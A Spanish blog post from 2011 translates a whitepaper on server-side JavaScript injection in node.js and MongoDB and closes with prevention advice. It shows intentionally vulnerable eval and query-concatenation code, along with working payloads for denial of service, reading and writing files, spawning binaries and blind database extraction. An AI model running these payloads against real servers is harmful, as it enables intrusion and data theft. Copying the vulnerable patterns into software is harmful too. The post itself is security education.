martes, 27 de diciembre de 2011

Server-Side JavaScript Injection en node.js y NoSQL

Node.js está creciendo de manera exponencial. Su comunidad y el interés que suscita no para de crecer. Como ejemplo, se puede ver que node.js es el segundo proyecto más seguido en GitHub y poco le queda ya para ponerse el número uno.  No hay duda de que la flexibilidad y potencia de esta herramienta son su principal atractivo, pero en estas características se encuentra también el talón de Aquiles de muchas aplicaciones, puesto que pueden exponer importantes vulnerabilidades. Para ilustrar, concienciar y aprender a protegernos, he traducido (de aquella manera) este interesante whitepaper de Bryan Sullivan, del Adobe Secure Software Engineering Team.

Antecedentes: XSS
XSS es un acrónimo conocido en el entorno web. XSS significa Cross-Site Scripting, y es un mecanismo por el que se ejecuta código javascript arbitrario en un navegador que está visitando otro dominio. Esto supone una vulnerabilidad muy importante, por la que los "malos" son capaces de robar sesiones y suplantar identidades en las aplicaciones web afectadas (mediante el robo de información de cookies de sesión del navegador), pueden hacer phishing (introduciendo en el portal afectado pantallas de login que permita captura credenciales), captura de teclado, etc. Según la Open Web Application Security Project (OWASP), los ataques XSS suponen la segunda amenaza más importante en aplicaciones web (justo por debajo de inyecciones de SQL).

La vulnerabilidad es, además, demasiado común, con un porcentaje muy alto de sitios de internet que están afectados. Una de las razones de esta proliferación de la vulnerabilidad a XSS es que resulta muy sencillo introducirla accidentalmente. Pongamos el siguiente ejemplo de código que se utiliza para obtener la cotización de un valor:
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if ((xhr.readyState == 4) && (xhr.status == 200)) {
    var informacionValor = eval('(' + xhr.responseText + ')');
    alert('La cotización actual de ' + informacionValor.nombre + 
            ' es $' + informacionValor.cotizacion + '€');      
    }
  }
  function realizarPeticion(ticker) {
    xhr.open("POST","servicio_cotizacion",true);
    xhr.send("{\"ticker\" : \"" + ticker + "\"}");
  }

El código parece bastante directo, pero la llamada a eval está introduciendo una vulnerabilidad potencial. Si un atacante fuese capaz de manipular la respuesta del servicio de cotización, podría inyectar código arbitrario mediante la llamada a eval, que ejecutaría el código en el contexto del navegador de la víctima. El ataque podría en ese momento extraer información de autenticación, cookies de session, manipular el dom para inducir al usuario a introducir datos, activar un keylogger, o utilizar el navegador para realizar peticiones arbitrarias al servidor del dominio como si fuese el usuario, etc.

Un nuevo vector de ataque: Server-Side Javascript Injection

Analicemos ahora un pedazo de código de javascript parecido. Está diseñado para leer peticiones JSON,  con la diferencia de que en este caso se ejecutará en el contexto de un servidor web con node.js.
var http = require('http');
http.createServer(function (request, response) {
  if (request.method === 'POST') {
   
  var data = '';
  request.addListener('data', function(chunk) { 
       data += chunk; });
   
  request.addListener('end', function() {
  var informacionValor = eval("(" + data + ")");
   recuperaCotizacionValor(informacionValor.ticker);
   …
});

La misma línea de código (ejecutar eval sobre los datos recibidos)  es la responsable de la vulnerabilidad frente a inyección de código en estas líneas y en el ejemplo de XSS. Sin embargo, en este caso los efectos son mucho más graves que la pérdida de las cookes de la víctima.

Para ilustradlo, veamos primero un mensaje legítimo, no malicioso. Podría ser como el siguiente:
{"ticker" : "SAN"}

La llamada a eval interpreta la siguiente línea:
({"ticker" : "SAN"})

Nada impide al atacante enviar su propio código javascript para que se evalúe en servidor:
response.end("success")

El código de servidor ejecutaría el comando inyectado y devolvería el texto "success" como el cuerpo de la respuesta HTTP. Sin un atacante envía esta request para probar el sistema y recibe "success" como respuesta, sabrá que el servidor puede ejecutar código javascript arbitrario, y entonces puede proceder a ataques más dañinos.

Denegación de servicio
Un ataque efectivo y sencillo de denegación de servicio se puede ejecutar simplemente enviando el comando:
while(1)

Este ataque hará que el servidor afectado use el 100% de su tiempo de procesador en procesar un bucle infinito. El servidor se colgará y será incapaz de procesar ninguna otra petición hasta que el administrador manualmente reinicie el proceso. Este ataque de DoS es tremendamente asimétrico, puesto que el atacante no tiene que ahogar al servidor con millones de peticiones; una única y diminuta petición hace todo el trabajo.

Otra alternativa de ataque DoS sería sencillamente salir o matar el proceso:
process.exit()
process.kill(process.pid)

Acceso al file system

Otro objetivo potencial de los atacantes es leer los contenidos de ficheros del sistema local. Node.js y muchas bases de natos NoSQL como CouchDB, usa la API CommonJS. El acceso al file system se soporta importando el módulo "fs" (mediante la instrucción require):
var fs = require('fs');

En cualquier momento de la ejecución se pueden agregar módulos, de manera que aunque el script originalmente no incluyese la referencia el módulo, el atacante puede agregar la funcionalidad simplemente incluyendo la instrucción require adecuada junto con el código de ataque.

Los siguientes ataques listarían los contenidos del directorio actual y superior respectivamente:
response.end(require('fs').readdirSync('.').toString())
response.end(require('fs').readdirSync('..').toString())

A partir de aquí, es bastante sencillo reconstruir la estructura completa del sistema de ficheros. Para acceder a los contenidos de un fichero sería tan sencillo como:
response.end(require('fs').readFileSync(filename))

La cosa resulta más grave, puesto que el atacante no solo puede leer los contenidos de los ficheros sino que puede escribir también. El siguiente ataque inserta la cadena "//hackeado!" al principio del fichero actualmente ejecutado (lógicamente, se pueden realizar cosas peores).
var fs = require('fs');
var ficheroActual = process.argv[1];
fs.writeFileSync(ficheroActual, '//hackeado!\n' + fs.readFileSync(ficheroActual));


Por último, señalaré que es posible crear ficheros arbitrarios en el servidor objetivo, incluidos ficheros ejecutables:
require('fs').writeFileSync(nombrefichero,data,'base64');

donde nombrefichero es el nombre del fichero resultante (por ejemplo, "foo.exe") y data sería el contenido del fichero codificado en base-64. El atacante ya solo necesitará ejecutar este fichero, como ilustraré a continuación.

Ejecución de ficheros binarios

Una vez que el atacante puede escribir ficheros binarios en el servidor, necesita ejecutarlos. Una inyección de javascript como la siguiente ilustra como puede hacerlo:
require('child_process').spawn(nombrefichero);

A partir de este punto, los límites del atacante están en su imaginación.

Inyección NoSQL
Las vulnerabilidades de inyección de código javascript no están limitadas solo a llamadas de eval dentro de scripts de node.js. Los motores de bases de datos NoSQL que procesen código javascript  también pueden ser vulnerables. Por ejemplo, MongoDB soporta el uso de funciones de javascript en las query y en operaciones de map/reduce. Puesto que las bases de datos MongoDB (igual que otras NoSQL) no tienen definidos esquemas estrictos, los desarrolladores pueden utilizar código javascript para realizar querys arbitrariamente complejas que consulten estructuras de documentos dispares.

Por ejemplo, supongamos que tenemos una collección de MongoDB que contiene documentos que representan libros, otros que representan peliculas y otros que representan libros. Esta query en javascript seleccionará todos los documentos de cada una de las colecciones que fuesen escritos, rodados o grabados en el año especificado:

function() {
  var anio_busqueda = input_value;

  return this.anioPublicacion == anio_busqueda||
         this.anioRodaje == anio_busqueda||
         this.anioGrabacion == anio_busqueda;
}

Si la aplicación estuviese programada en PHP el código fuente podría parecerse al siguiente:

$query = 'function() { '.
         '  var search_year = \'' . $_GET['anio'] . '\';' .
         '  return this.anioPublicacion == anio_busqueda || ' .
         '         this.anioRodaje == search_year || ' .
         '         this.anioGrabacion == search_year; ' . 
         '}';

$cursor = $collection->find(array('$where' => $query));

Este código utiliza el parámetro "anio" de la petición como el parámetro de búsqueda. Al igual que en la vulnerabilidad tradicional de inyección de SQL, cuando la query se realiza de manera ad-hoc, es decir, concatenando la query directamente con el input del usuario, el código es vulnerable a un ataque de inyección de código de javascript en servidor. Este ejemplo sería un ataque bastante efectivo de denegación de servicio DoS contra el sistema
http://server/app.php?anio=1995';while(1);var%20foo='bar

Inyección NoSQL ciega
Otro posible vector de ataque cuando se utilizan inyecciones SSJS contra bases de datos NoSQL es el uso de injecciones ciegas NoSQL para extraer los contenidos la base de datos. Para demostrar como funciona este ataque continuaré con el ejemplo de MongoDB utilizado anteriormente.

Para ejecutar un ataque de inyección ciego, el ataque necesita determinar la diferencia entre una condición verdadera y otra falsa en el servidor. Esto es trivial con una inyección SSJS, más incluso que con la clásica inyección sql “OR 1=1” :
http://server/app.php?anio=1995';return(true);var%20foo='bar
http://server/app.php?anio=1995';return(false);var%20foo='bar

Si existe alguna diferencia entre las respuestas de estas dos inyecciones, entonces el atacante solo necesita realizar preguntas del tipo cierto/falso, y con un número suficiente de preguntas será capaz de extraer todos los contenidos de la base de datos. Veámoslo.

La primera pregunta que hay que responder es cuantas colecciones existen en la base de datos, o más preciesamente, si hay exactamente una colección en la base de datos, o si hay exactamente dos colecciones, etc:
return(db.getCollectionNames().length == 1);
return(db.getCollectionNames().length == 2);
…

Una vez que el atacante ha establecido cuantas colecciones existen, el siguiente paso será obtener sus nombres. Se chequeará cada nombre de colección en el array, primero para determinar la longitud del nombre y después para el nombre mismo, probando un carácter cada vez:
return(db.getCollectionNames()[0].length == 1);
return(db.getCollectionNames()[0].length == 2);
…
return(db.getCollectionNames()[0][0] == 'a');
return(db.getCollectionNames()[0][0] == 'b');

Una vez que se han extraido los nombres de las colecciones, el siguiente paso consiste en recuperar la colección de datos. De nuevo, lo primero que el atacante necesita hacer es determinar cuantos documentos hay en cada colección. Si el nombre de la primera colección fuese "foo":
return(db.foo.find().length == 1);
return(db.foo.find().length == 2);
…

En un ataque SQL ciego tradicional, el siguiente paso sería determinar la estructura de columnas de cada tabla. Sin embargo, este concepto de de estructura de columnas no tiene sentido en documentos NoSQL, que carecen de un esquema común. Cada documento en una colección puede tener una estructura distinta del resto de documentos. Sin embargo, este hecho no impide la extraccción de los contenidos de la base de datos. El atacante simplemente llamaría al método "tojsononeline" (http://api.mongodb.org/js/1.5.3/symbols/_global_.html#tojsononeline)  para devolver el documento como un string de JSON, calcular su longitud  y extraer un carácter cada vez:
return(tojsononeline(db.foo.find()[0]).length == 1);
return(tojsononeline(db.foo.find()[0]).length == 2);
…
return(tojsononeline(db.foo.find()[0])[0] == 'a');
return(tojsononeline(db.foo.find()[0])[0] == 'b');
…

Al final, con este método se recuperarían todos los contenidos de cada documento de cada colección en la base de datos.

Conclusiones y prevención
En los ejemplos anteriores, se ha visto que la vulnerabilidad de inyección de javascript en servidor se parece más a las técnicas tradicionales de inyección de SQL que a las de cross-site scripting. Las inyecciones de SSJS no necesitan de la ingeniería social de una víctima intermedia de la forma que se hace habitualmente con XSS, sino que el ataque se realiza directamente con peticiones HTTP arbitrarias. Por este motivo los mecanismos de defensa son similares de los de inyecciones de SQL:
  • Evitar generar comandos de javascript "ad-hoc" mediante la concatencación de script con datos de proporcionados por el usuario.
  • Validar los datos del usuario en comandos SSJS con expresiones regulares.
  • Evitar el uso del comando eval. En particular, al parsear JSON, usar alternativas mucho más seguras como JSON.parse.

No hay comentarios:

Publicar un comentario